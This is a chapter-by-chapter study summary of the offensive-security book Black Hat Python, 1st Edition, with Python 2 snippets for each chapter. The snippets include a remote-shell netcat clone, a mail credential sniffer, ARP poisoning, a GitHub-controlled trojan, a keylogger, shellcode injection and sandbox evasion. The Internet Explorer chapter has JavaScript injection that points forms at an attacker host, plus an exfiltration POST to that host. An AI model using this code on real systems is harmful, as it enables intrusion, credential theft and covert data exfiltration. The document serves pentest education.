Black Hat Python

1st Edition — Python Programming for Hackers and Pentesters

by Justin Seitz (No Starch Press, 2015)

Comprehensive Book Summary — with Worked Examples

Chapter-by-chapter overview · Python 2 libraries · Code example per key concept · vs. 2nd Edition notes

Prepared as a reading companion — not a substitute for the full text.

About This Summary

This document summarises all 11 chapters of *Black Hat Python, 1st Edition* by Justin Seitz (2015). This is the **original Python 2 edition** — a companion to the 2021 2nd Edition (Python 3) also summarised in this series. Both editions share the same chapter structure and offensive-security focus, but the 1st Edition contains one chapter unique to it: **Chapter 9 — Fun with Internet Explorer**, which uses IE's COM automation interface to build a man-in-the-browser attack and covert exfiltration channel. This chapter was replaced in the 2nd Edition with a generalised exfiltration chapter.

Blue note boxes throughout this summary highlight **key differences between the 1st and 2nd Editions** (Python 2 vs. 3 syntax, library renames, unique chapters). Each chapter section includes a synopsis, key techniques with runnable Python 2 examples, and a chip table of libraries used. Libraries appearing for the **first time** are flagged in orange.

Book Structure (11 Chapters)

- **Environment & networking foundations** (Ch. 1–2): Kali + WingIDE, Python 2 sockets, Netcat clone, TCP proxy, Paramiko SSH tunneling.
- **Packet-level attacks** (Ch. 3–4): raw-socket sniffer (ctypes IP/ICMP decoding), Scapy SMTP credential sniffer, ARP cache poisoning MITM, pcap image carving.
- **Web hackery & Burp extensions** (Ch. 5–6): urllib2-based web automation, WordPress fingerprinter, directory brute-forcer, HTMLParser login brute-forcer, three Burp Python extensions (Jython).
- **Trojan framework** (Ch. 7–8): GitHub-hosted C2 trojan (Python 2 imp module, Queue), keylogger (PyHook), screenshot grabber, shellcode executor, sandbox detection.
- **IE exploitation & privilege escalation** (Ch. 9–10): Internet Explorer COM automation MITM, IE-based covert exfiltration, WMI process monitor, token privilege escalation, code injection.
- **Forensics** (Ch. 11): Volatility 2 profiles, hash grabbing from memory, direct code injection via Volatility.

Chapter 1: Setting Up Your Python Environment

Sets up the development environment for the entire book: installing Kali Linux (native or VM), using WingIDE (the author's Python 2 IDE of choice) with its debugger, breakpoints, and stack inspector. Covers installing third-party packages with pip and easy_install, and walks through a quick Python 2 primer (functions, classes, file I/O, modules).

> Python 2 edition: uses WingIDE and Python 2.7. The 2nd Edition replaced WingIDE with VS Code/PyCharm and upgraded all code to Python 3.

Key techniques & examples

• WingIDE's debugger lets you set breakpoints and inspect variables without print statements.

```
# Install WingIDE from http://wingware.com, then run:
$ python bhp_script.py
# In WingIDE: set breakpoint on line, run, inspect stack pane
```

• pip / easy_install install third-party packages needed throughout the book.

```
$ pip install github3.py
$ pip install paramiko
$ easy_install pywin32 wmi
```

• A quick Python 2 class recap: classes, __init__, and inheritance.

```
class Dog(object):
def __init__(self, name):
self.name = name
def bark(self):
print self.name + ' says woof!'
```

Libraries / tools used in this chapter

Kali Linux	WingIDE	pip / easy_install	Python 2.7

★ Newly introduced: WingIDE, easy_install

Chapter 2: The Network: Basics

Builds fundamental network tools from scratch: a TCP client, a UDP client, a multi-threaded TCP server, then a full Netcat replacement (bhnet) supporting interactive shells, file upload, and arbitrary command execution. Covers a TCP proxy (useful for inspecting unencrypted protocols) and SSH command execution plus reverse/forward tunneling via Paramiko.

> Python 2: uses print statements (print x) and raw_input(). Queue module is 'Queue' (capital Q). In Python 3 these become print() and input(), and Queue is 'queue' (lowercase).

Key techniques & examples

• A raw TCP client connects to a host and sends/receives data — the simplest network primitive.

```
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('192.168.1.1', 80))
client.send('GET / HTTP/1.1\r\nHost: 192.168.1.1\r\n\r\n')
response = client.recv(4096)
print response
```

• The Netcat clone (bhnet.py) gives a remote shell over plain TCP, bypassing AV/firewalls.

```
# Listener (command shell mode):
$ python bhnet.py -l -p 9999 -c
# Client:
$ python bhnet.py -t 192.168.1.100 -p 9999
<BHP:#> whoami
root
```

• Paramiko creates an SSH session and can execute commands or set up encrypted tunnels.

```
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('192.168.1.10', username='user', password='pass')
stdin, stdout, stderr = client.exec_command('id')
print stdout.read()
```

• An SSH reverse tunnel forwards a remote port back to a local service through an encrypted channel.

```
# Paramiko reverse tunnel: remote:8080 -> local:3000
transport = paramiko.Transport(ssh_server, 22)
transport.connect(username='user', password='pass')
reverse_forward_tunnel(8080, 'localhost', 3000, transport)
```

Libraries / tools used in this chapter

socket	threading	subprocess	getopt
paramiko	sys		

★ Newly introduced: socket, threading, paramiko

Chapter 3: The Network: Raw Sockets and Sniffing

Builds a raw-packet sniffer without Scapy: opens a raw socket in promiscuous mode (SIO_RCVALL on Windows, AF_PACKET on Linux), captures raw packets, then manually parses the IP header using Python's ctypes module to map a C-style struct directly onto the byte buffer. Extends this to decode ICMP packets and builds a live UDP subnet scanner (send UDP probes to every host → listen for ICMP Port Unreachable responses).

> Same approach in both editions. The ctypes struct method is identical in Python 2 and 3; the main difference is socket.inet_ntoa() output handling and print syntax.

Key techniques & examples

• A raw socket with IP_HDRINCL=1 captures all traffic including headers at the IP layer.

```
import socket
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW,
socket.IPPROTO_IP)
sniffer.bind(('192.168.1.100', 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
```

• ctypes.Structure maps a C-style IP header struct directly onto the received byte buffer.

```
from ctypes import *
class IP(Structure):
_fields_ = [
('ihl', c_ubyte, 4),
('version', c_ubyte, 4),
('tos', c_uint8),
('len', c_uint16),
('src', c_uint32),
('dst', c_uint32),
]
def __new__(cls, socket_buffer=None):
return cls.from_buffer_copy(socket_buffer)
```

• ICMP decoding catches 'Port Unreachable' (type=3, code=3) replies from live hosts.

```
# After IP header parsing:
if ip.protocol == 1: # ICMP
# offset past IP header
buf = raw_buffer[ip.ihl * 4 : ip.ihl * 4 + 8]
```

```
icmp_type, icmp_code = struct.unpack('BB', buf[:2])
if icmp_type == 3 and icmp_code == 3:
print '[*] Host Up:', ip.src_address
```

• The subnet scanner sends UDP datagrams to every host and collects ICMP responses.

```
import threading, socket, time
targets = '192.168.1.0/24'
for ip in netaddr.IPNetwork(targets):
t = threading.Thread(target=udp_sender, args=(str(ip),))
t.start()
```

Libraries / tools used in this chapter

socket (raw)	ctypes	struct	netaddr
threading	os		

★ Newly introduced: ctypes, struct, netaddr

Chapter 4: Owning the Network with Scapy

Introduces Scapy for craft-level packet manipulation, building three attack tools: (1) a credential sniffer that captures SMTP, POP3, and IMAP authentication over TCP using Scapy's sniff() with a BPF filter; (2) an ARP cache poisoning attack that poisons both victim and gateway to intercept traffic (MITM); (3) a pcap processor that reassembles HTTP sessions from a .pcap file, carves out images, and runs OpenCV face detection on them.

> Scapy is Python-version-aware; version 2.x supports both Python 2 and 3. The pcap face-detection portion uses OpenCV (cv2), which works the same in both editions.

Key techniques & examples

• Scapy's sniff() with a BPF filter captures only the packets that match (e.g., mail ports).

```
from scapy.all import sniff, TCP
def packet_callback(packet):
if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
if 'user' in mail_packet.lower() or \
'pass' in mail_packet.lower():
print '[*] Server:', packet[IP].dst
print '[*] Credential:', mail_packet.strip()
sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',
prn=packet_callback, store=0)
```

• ARP poisoning sends forged ARP replies to both victim and gateway simultaneously.

```
from scapy.all import Ether, ARP, sendp, srp
# Resolve MACs
def get_mac(ip):
arp_req = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip)
ans = srp(arp_req, timeout=2, verbose=False)[0]
return ans[0][1].hwsrc
# Poison both ways
packet = ARP(op=2, pdst=victim_ip,
psrc=gateway_ip, hwdst=victim_mac)
sendp(packet, iface='eth0')
```

• rdpcap() opens a pcap and Scapy lets you filter/iterate packets by layer.

```
from scapy.all import rdpcap
pcap = rdpcap('capture.pcap')
for p in pcap:
if p.haslayer('TCP') and p['TCP'].dport == 80:
```

```
payload = str(p['TCP'].payload)
```

• OpenCV detects faces in images carved from HTTP traffic inside a pcap.

```
import cv2
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
img = cv2.imread('carved_image.jpg')
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(gray, 1.3, 5)
print '[*] Detected', len(faces), 'face(s)'
```

Libraries / tools used in this chapter

scapy	opencv-python (cv2)	netaddr	threading
os			

★ Newly introduced: scapy, opencv-python

Chapter 5: Web Hackery

Three Python 2 web-automation tools. First, a WordPress fingerprinter that fetches a target site with urllib2 and compares file hashes against a local SVN mirror to detect installed plugins/themes. Second, a multi-threaded directory brute-forcer (wordlist-driven, using urllib2 and Queue). Third, an HTML form login brute-forcer using Python 2's HTMLParser to parse CSRF tokens from each login page attempt before submitting credentials.

> Python 2 uses urllib2 for HTTP and HTMLParser for form parsing. Python 3 renames these to urllib.request and html.parser, and the 2nd Edition uses the requests + lxml libraries instead for a cleaner API.

Key techniques & examples

• urllib2.urlopen() is the Python 2 standard way to fetch a URL.

```
import urllib2
url = 'http://target.com/wp-content/plugins/akismet/'
response = urllib2.urlopen(url)
print '[*] Status:', response.getcode()
```

• A Queue-based thread pool distributes wordlist entries across multiple worker threads.

```
import Queue, threading
word_queue = Queue.Queue()
for word in open('wordlist.txt'):
word_queue.put(word.strip())
def dir_bruter(q):
while not q.empty():
word = q.get()
url = 'http://target.com/%s' % word
try:
res = urllib2.urlopen(url)
print '[+] Found: %s (%d)' % (url, res.getcode())
except: pass
for _ in range(10):
t = threading.Thread(target=dir_bruter, args=(word_queue,))
t.start()
```

• HTMLParser extracts hidden CSRF tokens from the login form before each brute-force attempt.

```
from HTMLParser import HTMLParser
class BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.tag_results = {}
def handle_starttag(self, tag, attrs):
```

```
if tag == 'input':
attrs_d = dict(attrs)
if attrs_d.get('type') == 'hidden':
self.tag_results[attrs_d['name']] = attrs_d.get('value','')
```

• FileCookieJar persists cookies across requests so each login attempt reuses the session.

```
import cookielib, urllib2
cookies = cookielib.FileCookieJar('cookies')
opener = urllib2.build_opener(
urllib2.HTTPCookieProcessor(cookies))
urllib2.install_opener(opener)
```

Libraries / tools used in this chapter

urllib2	HTMLParser	Queue	threading
cookielib	hashlib		

★ Newly introduced: urllib2, HTMLParser, cookielib

Chapter 6: Extending Burp Proxy

Teaches writing Burp Suite extensions in Python via Jython. Three extensions are built: (1) a Burp Intruder payload generator that mutates/fuzzes request parameters; (2) a Bing API search extension that discovers all virtual hosts on a target IP and adds them to Burp's scope; (3) a content-mining extension that scrapes words from a target site and builds a custom wordlist for password/directory attacks.

Burp extensions run under Jython (a Python 2 JVM implementation) in both editions. The Burp API (IBurpExtender, IIntruderPayloadGeneratorFactory) is the same, but the 2nd Edition uses the Bing v7 REST API while the 1st uses the older SOAP/REST v5 API.

Key techniques & examples

• Every Burp extension must implement IBurpExtender; registerExtenderCallbacks is the entry point.

```
from burp import IBurpExtender
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName('BHP Fuzzer')
```

• IIntruderPayloadGeneratorFactory exposes a custom generator to Burp's Intruder attack engine.

```
from burp import IBurpExtender, IIntruderPayloadGeneratorFactory
class BurpExtender(IBurpExtender,
IIntruderPayloadGeneratorFactory):
def createNewInstance(self, attack):
return BHPFuzzer(self, attack)

class BHPFuzzer(IIntruderPayloadGenerator):
def hasMorePayloads(self):
return self.num_iterations < self.max_payloads
def getNextPayload(self, current_payload):
# mutate the payload and return
return self.mutate_payload(current_payload)
```

• The Bing 'ip:' search operator discovers all virtual hosts on an IP address.

```
import urllib, json
bing_query = 'ip:%s' % target_ip
bing_url = 'http://api.bing.net/json.aspx?AppID=%s&'\
```

```
'sources=web&query=%s' % (bing_key, urllib.quote(bing_query))
res = urllib.urlopen(bing_url).read()
results = json.loads(res)
```

• The wordlist builder extension scrapes text from the site and counts frequency per word.

```
from burp import IBurpExtender, IContextMenuFactory
from javax.swing import JMenuItem
import re
words = {}
for word in re.split(r'[^a-zA-Z]', page_text):
if len(word) > 6:
words[word.lower()] = words.get(word.lower(), 0) + 1
sorted_words = sorted(words, key=words.get, reverse=True)
```

Libraries / tools used in this chapter

Burp Suite (Jython API)	urllib	json	re
javax.swing (Jython)			

★ Newly introduced: Burp Suite Jython extension API, javax.swing (Jython)

Chapter 7: GitHub Command and Control

Builds a covert GitHub-based C2 trojan in Python 2: the trojan checks a private GitHub repo for its configuration, fetches task modules as base64-encoded Python source code, imports them in-memory using Python 2's imp module (so nothing is written to disk), executes them, and commits results back to GitHub. Communication blends in as HTTPS traffic to github.com, making it hard to block.

> Python 2 uses the 'imp' module for dynamic module loading and 'Queue' (capital Q). The 2nd Edition replaces imp with importlib.util and Queue with queue (lowercase).

Key techniques & examples

• The trojan fetches its config (which modules to run) from a GitHub repo via github3.py.

```
import github3
gh = github3.login(token=github_token)
repo = gh.repository(github_user, 'bhptrojan')
cfg = repo.contents('config/%s' % trojan_id)
config = json.loads(cfg.content.decode('base64'))
```

• Module code is base64-decoded from GitHub and imported in-memory with Python 2's imp.load_source.

```
import imp, base64
module_src = base64.b64decode(module_content)
# Write to a temp file (Python 2 imp requirement):
with open('/tmp/%s.py' % module_name, 'wb') as f:
f.write(module_src)
module = imp.load_source(module_name, '/tmp/%s.py' % module_name)
```

• Results are base64-encoded and committed back to GitHub for the operator to read.

```
import base64
result_b64 = base64.b64encode(result)
remote = repo.contents('data/%s/%s' % (trojan_id, data_path))
if remote:
remote.update('Updating data', result_b64)
else:
repo.create_file('data/%s/%s' % (trojan_id, data_path),
'New data', result_b64)
```

• A Python 2 Queue.Queue distributes module execution across threads.

```
import Queue, threading
task_queue = Queue.Queue()
for module in config['modules']:
task_queue.put(module)
def run_module():
while not task_queue.empty():
mod = task_queue.get()
exec_module(mod)
t = threading.Thread(target=run_module)
t.start()
```

Libraries / tools used in this chapter

github3.py	imp	Queue	base64
json	threading		

★ Newly introduced: github3.py, imp

Chapter 8: Common Trojaning Tasks on Windows

Four Windows-specific modules intended for deployment via the GitHub trojan: (1) a keylogger using PyHook to hook Windows keyboard events system-wide; (2) a screenshot grabber using win32api/win32gui/PIL; (3) a shellcode execution helper that allocates executable memory with ctypes VirtualAlloc, copies msfvenom shellcode in, and runs it in a new thread; (4) a sandbox detection module that checks mouse movement, idle time (GetLastInputInfo), process count, and clipboard state to decide if it's in an analyst sandbox before running the payload.

> PyHook works on Python 2 (32-bit). The 2nd Edition replaces PyHook with pyWinhook, which supports Python 3. Shellcode execution (ctypes VirtualAlloc/CreateThread) is identical in both editions.

Key techniques & examples

• PyHook hooks every keyboard event system-wide and logs keystrokes with window context.

```
import pyHook, pythoncom
hm = pyHook.HookManager()
hm.KeyDown = on_keyboard_event
hm.HookKeyboard()
pythoncom.PumpMessages()

def on_keyboard_event(event):
if event.Ascii:
print chr(event.Ascii),
return True
```

• win32gui.GetDesktopWindow() + BitBlt captures the entire screen as a bitmap.

```
import win32gui, win32ui, win32con, win32api
hwnd = win32gui.GetDesktopWindow()
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
hwndDC = win32gui.GetWindowDC(hwnd)
mfc_dc = win32ui.CreateDCFromHandle(hwndDC)
save_dc = mfc_dc.CreateCompatibleDC()
# ... BitBlt, SaveDCBitmap
```

• ctypes VirtualAlloc allocates RWX memory; CreateThread executes the shellcode in-process.

```
import ctypes
shellcode = ('\xfc\xe8...').encode('latin-1')
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), ctypes.c_int(len(shellcode)),
```

```
ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr),
ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
```

• GetLastInputInfo detects sandbox: if no real user input has occurred, abort execution.

```
import ctypes
class LASTINPUTINFO(ctypes.Structure):
_fields_ = [('cbSize', ctypes.c_uint),
('dwTime', ctypes.c_uint)]
lii = LASTINPUTINFO()
lii.cbSize = ctypes.sizeof(LASTINPUTINFO)
ctypes.windll.user32.GetLastInputInfo(ctypes.byref(lii))
run_time = ctypes.windll.kernel32.GetTickCount()
elapsed = run_time - lii.dwTime
if elapsed < 60000: # < 60 seconds of real activity
sys.exit()
```

Libraries / tools used in this chapter

pyHook / pythoncom	win32api / win32gui / win32con	PIL / Pillow	ctypes (Windows)
sys			

★ Newly introduced: pyHook, win32api/win32gui

Chapter 9: Fun with Internet Explorer

This chapter is **unique to the 1st Edition** and was replaced by a general exfiltration chapter in the 2nd Edition. It exploits Internet Explorer's COM automation interface to build two covert tools.

First, a Man-in-the-Browser attack: the trojan hooks IE's NavigateComplete2 and DocumentComplete COM events to inspect every page the victim visits, intercept form submissions, and inject custom JavaScript into the page — a full browser-level MITM without a network proxy.

Second, a covert exfiltration channel that uses IE as its HTTP client (bypassing host-based firewalls that block all apps except IE), posting captured data to an attacker-controlled server, encrypted with a simple XOR/RSA scheme.

> UNIQUE TO THE 1ST EDITION — This entire chapter was dropped from the 2nd Edition and replaced with 'Chapter 9: Fun with Exfiltration' (AES encryption + SMTP/FTP/HTTP). IE COM automation (win32com.client) only works on Windows with IE installed — not relevant to Python 3 or modern browsers.

Key techniques & examples

• IE COM automation is accessed via win32com.client.Dispatch; it exposes IE's full DOM and navigation events.

```
import win32com.client
ie = win32com.client.Dispatch('InternetExplorer.Application')
ie.Visible = 1
ie.Navigate('http://www.example.com')
# Wait for page load:
while ie.ReadyState != 4:
time.sleep(0.1)
print ie.Document.title
```

• Hooking IE's NavigateComplete2 event fires a Python callback every time the user navigates.

```
class IEEventSink(object):
def NavigateComplete2(self, browser, url):
```

```
print '[*] Navigated to:', url
def DocumentComplete(self, browser, url):
doc = browser.Document
print '[*] Page title:', doc.title

ie_events = win32com.client.WithEvents(ie, IEEventSink)
pythoncom.PumpMessages()
```

• JavaScript is injected into the live DOM to modify page content or steal form data.

```
# After page load, inject JS:
js = 'document.forms[0].action="http://attacker.com/steal";'
ie.Document.parentWindow.execScript(js, 'javascript')
```

• Exfiltration via IE: POST data through IE's COM interface (bypasses personal firewalls that only allow IE).

```
import win32com.client, base64
data_b64 = base64.b64encode(encrypted_data)
ie = win32com.client.Dispatch('InternetExplorer.Application')
ie.Visible = 0
ie.Navigate('http://attacker.com/receive',
PostData=data_b64,
Headers='Content-Type: application/x-www-form-urlencoded')
```

Libraries / tools used in this chapter

`win32com.client`	`pythoncom`	`pycrypto (RSA)`	`base64`
`ctypes`			

★ Newly introduced: win32com.client (IE COM automation), pycrypto

---

Chapter 10: Windows Privilege Escalation

Three privilege escalation techniques. First, a WMI-based process monitor that watches for newly spawned processes in real time, logging their command lines and enabled token privileges — hunting for SYSTEM processes with abusable privileges (SeDebugPrivilege, SeImpersonatePrivilege, etc.). Second, a token privilege race condition exploiting a vulnerable custom Windows service (the 'BlackHat Service') to win an inheritable file handle. Third, a remote process code injection using ctypes OpenProcess/VirtualAllocEx/WriteProcessMemory/CreateRemoteThread.

> WMI and win32security usage is identical between Python 2 and 3. The 2nd Edition added a 'Creating the Vulnerable BlackHat Service' setup section absent from the 1st Edition.

Key techniques & examples

• WMI watches for process creation events, logging command lines of high-privilege processes.

```
import wmi
c = wmi.WMI()
process_watcher = c.Win32_Process.watch_for('creation')
while True:
new_proc = process_watcher()
print '[*] PID: %d CMD: %s' % (new_proc.ProcessId,
new_proc.CommandLine)
```

• win32security enumerates token privileges to find exploitable ones on a target process.

```
import win32security, win32api, win32con
handle = win32api.OpenProcess(
win32con.PROCESS_ALL_ACCESS, False, target_pid)
token = win32security.OpenProcessToken(
handle, win32con.TOKEN_QUERY)
```

```
privs = win32security.GetTokenInformation(
token, win32security.TokenPrivileges)
for priv in privs:
name = win32security.LookupPrivilegeName(None, priv[0])
print '[*] Privilege:', name, '->', priv[1]
```

• Remote code injection: allocate RWX memory in the target process and start a thread there.

```
import ctypes
K32 = ctypes.windll.kernel32
handle = K32.OpenProcess(0x001F0FFF, False, target_pid)
mem = K32.VirtualAllocEx(handle, 0, len(shellcode), 0x3000, 0x40)
written = ctypes.c_size_t(0)
K32.WriteProcessMemory(handle, mem, shellcode,
len(shellcode), ctypes.byref(written))
K32.CreateRemoteThread(handle, None, 0, mem, None, 0, None)
```

Libraries / tools used in this chapter

wmi	win32api	win32security	win32con
ctypes (Windows)			

★ Newly introduced: wmi, win32security

Chapter 11: Automating Offensive Forensics

Uses Volatility 2 (the Python 2 era version) offensively to automate memory forensics against a live or offline Windows memory dump. Covers loading profiles, grabbing password hashes directly from memory with the hashdump plugin (SAM + SYSTEM hive), and most powerfully: direct code injection into a running process via Volatility's address space APIs, allowing shellcode execution inside the memory dump's processes.

> This edition uses Volatility 2 (Python 2). The 2nd Edition uses Volatility 3 (Python 3), which has a completely different plugin API (PluginInterface, get_requirements(), run() instead of calculate()/render_text()). The direct code injection technique via Volatility's address space write() is specific to Volatility 2.

Key techniques & examples

• Volatility 2 is run from the command line with a profile, image, and plugin name.

```
$ python vol.py -f memory.dmp --profile=Win7SP1x64 pslist
$ python vol.py -f memory.dmp --profile=Win7SP1x64 hashdump
# Output example:
# Administrator:500:aad3b435...:<NT_HASH>:::
```

• The hashdump plugin extracts NTLM hashes from the SAM and SYSTEM hives in memory.

```
$ python vol.py -f memory.dmp --profile=Win7SP1x64 hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:abc123...:::
```

• A custom Volatility 2 plugin inherits from commands.Command and implements calculate() and render_text().

```
import volatility.commands as commands
import volatility.utils as utils
class MyPlugin(commands.Command):
def calculate(self):
addr_space = utils.load_as(self._config)
for proc in tasks.pslist(addr_space):
yield proc
def render_text(self, outfd, data):
for proc in data:
outfd.write('%d %s\n' % (proc.UniqueProcessId,
proc.ImageFileName))
```

• Direct code injection via Volatility 2 writes shellcode into a process's virtual address space.

```
# Inside a Volatility 2 plugin:
proc_as = proc.get_process_address_space()
if proc_as.is_valid_address(injection_addr):
proc_as.write(injection_addr, shellcode)
print '[*] Shellcode written to PID', proc.UniqueProcessId
```

Libraries / tools used in this chapter

volatility (v2)	Python 2.7	sys	struct

★ Newly introduced: volatility2

Master Python 2 Library Index (by first appearance)

The 1st Edition is written entirely in **Python 2.7**. Many module names changed between Python 2 and 3 — the table below notes these changes in the 'Python 3 equivalent' column for readers transitioning to the 2nd Edition.

Library (Python 2)	Ch.	Role	Python 3 / 2nd Ed. equivalent
socket / threading	2	TCP/UDP client+server, raw sniffing	Unchanged
paramiko	2	SSH client, tunneling	Unchanged
ctypes	3, 8, 10	IP struct parsing; VirtualAlloc injection	Unchanged
struct	3	Unpack raw IP/ICMP header bytes	Unchanged
netaddr	3	Subnet enumeration for host scanner	ipaddress (stdlib)
scapy	4	Packet crafting, sniffing, ARP poisoning, pcap	Unchanged
opencv-python (cv2)	4	Face detection on carved pcap images	Unchanged
urllib2	5	HTTP client for web scraper and brute-forcers	urllib.request (py3) / requests
HTMLParser	5	Parse CSRF tokens from HTML login forms	html.parser (py3) / lxml
Queue (capital Q)	5, 7	Thread-safe work queue for brute-forcers + trojan	queue (lowercase, py3)
cookielib	5	Cookie jar for login brute-forcer sessions	http.cookiejar (py3)
Burp Suite / Jython	6	Burp extension API (fuzzer, Bing, wordlist)	Same (Jython 2.x)
github3.py	7	GitHub REST API for C2 config/module fetch	Unchanged
imp	7	Dynamic in-memory module loading from GitHub	importlib.util (py3)
pyHook / pythoncom	8	System-wide Windows keylogger	pyWinhook (py3 version)
win32api / win32gui / win32con	8, 9, 10	Windows API: screenshots, process/token ops	Unchanged
PIL / Pillow	8	Save screenshot bitmaps as PNG files	Pillow (same)
win32com.client	9	IE COM automation (MITM + exfiltration)	UNIQUE TO 1ST EDITION
pycrypto	9	RSA encryption for IE exfiltration channel	cryptography (2nd Ed.)
wmi	10	Watch for new process creation events	Unchanged
win32security	10	Enumerate process token privileges	Unchanged
volatility (v2)	11	Memory forensics, hash dump, code injection	volatility3 (2nd Ed.)

1st Edition vs. 2nd Edition — Key Differences at a Glance

Both editions share the same chapter numbering and offensive-security philosophy, but differ significantly in Python version, libraries, and one unique chapter. Use this table to navigate between the two books.

Topic	1st Edition (2015, Python 2)	2nd Edition (2021, Python 3)
Python version	Python 2.7 — print x, raw_input(), urllib2	Python 3.x — print(), input(), urllib.request
IDE	WingIDE	VS Code / PyCharm / WingIDE
Dev environment	Direct Kali install	Python 3 venv on Kali
HTTP library	urllib2 + HTMLParser	requests + lxml + BeautifulSoup
Queue module	import Queue (capital Q)	import queue (lowercase)
Module import hack	imp.load_source()	importlib.util + custom MetaPathFinder
Keylogger	pyHook	pyWinhook
Encryption (exfil)	pycrypto (RSA)	cryptography (Fernet/AES)
Ch. 9 topic	Fun with Internet Explorer (COM MITM, IE exfil)	Fun with Exfiltration (SMTP/FTP/HTTP + AES)
Forensics framework	Volatility 2 (calculate()/render_text())	Volatility 3 (PluginInterface/get_requirements()/run())
IE COM automation	Chapter 9 (win32com.client)	Not covered
Sandbox detection	GetLastInputInfo (ctypes struct)	Mouse movement + process count

Final Notes

Black Hat Python, 1st Edition is a classic offensive-security programming book and remains valuable reading even alongside the updated 2nd Edition. Its unique contribution is **Chapter 9: Fun with Internet Explorer** — a detailed walkthrough of abusing IE's COM automation interface for browser-level MITM attacks and covert exfiltration that has no equivalent in the 2nd Edition.

Readers should be aware that Python 2.7 reached end-of-life in January 2020, so the code in this edition requires Python 2 to run as written. Most examples can be ported to Python 3 with small changes (print statements, urllib2 -> requests, Queue -> queue, imp -> importlib). The 2nd Edition does this porting for all chapters except Chapter 9.